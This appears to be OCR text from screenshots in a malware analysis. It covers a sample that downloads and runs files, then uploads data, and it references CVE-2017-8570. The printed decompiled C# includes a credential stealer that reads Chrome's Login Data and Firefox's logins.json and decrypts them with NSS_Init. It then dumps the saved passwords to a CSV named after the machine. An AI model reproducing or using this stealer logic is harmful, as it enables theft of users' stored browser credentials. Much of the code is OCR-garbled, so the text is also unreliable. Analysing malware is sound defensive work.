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\WINDOWS\systemn32\Windows|

5. powershell download.exe download.exe
Vine.exe

5“3 Download (1.0.0.0) /7 DownloadAndExecute.Pragram
4 3 References private static void Main(string[] args)
=0 - i

5 0 DowrlosdindExecute Progran . DownloadFiles() Hait ();

process-HaitForExit(}3
= Program.exitCode = process.ExitCode;
X o
System (4.0.0.0)
mscorlib (4.0,0.0)
mscorli (2.0.0.00
System.Data (2,0,0,0) )
System (2,0,0.0)
System.Core (3,5.0.0)

cgam.exitCode == 8)

ogram.UploadFiles().Wait();

sbabbo

6. Vine.exe Chrome  Firefox
download.exe



public static void Generate()

try
{
- . F;‘le,(opv[‘guv_:irnnl@er_\t,_{;g@]d%ﬁ Emuiranment, SnerialFalder.lacalfnnlicationNatal + "/Gapele/Chrome /lUser Data/Nefault/login Daga”. . "te
slivdifg, e =S R,

[[fr e e e e e e
public static void Generate()

{

try
{
bool flag = false;
string[] directories = Directory.GetDirectories(Environment.GetEnvironmentVariable("APPDATA") + "\\Mozilla‘\\Firefox\\Profiles");
for (int i = @; i < directories.length; i++)
{
string text = directories[i];
if (text == null || flag)

break;

string[] files = Directory.GetFiles(text);
for (int j = @; j < files.Length; j++)

string input = files[j];
if (flag)

hreak;‘
1
if (Regex.IsMatch(input, “logins.jsen™))
{

FirefoxRetriever.NSS_Init(text);
FirefoxRetriever.signon = input;

¥

string arg_86_8 = FirefoxRetriever.signon;

FirefoxRetriever.TSECItem tSECItem = default(FirefoxRetriever.TSECItem);

FirefoxRetriever.TSECItem tSECItem2 = default(FirefoxRetriever.TSECItem);

JToken jToken = JObject.Parse(new StreamReader(FirefoxRetriever.signon).ReadLine())["logins"];

Streamkriter streamkriter = new StreamMWriter(string.Format(“pass-{@]}-{1}-{2}.csv", Environment.MachineName, "Firefox™, (int)DateTime.Utc
! for (int k = @: k < iToken.Count<IToken>(Y: k++h
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https://portal .msrc.microsoft.com/en-US/security-guidance/advisory/CVE-
2017-8570
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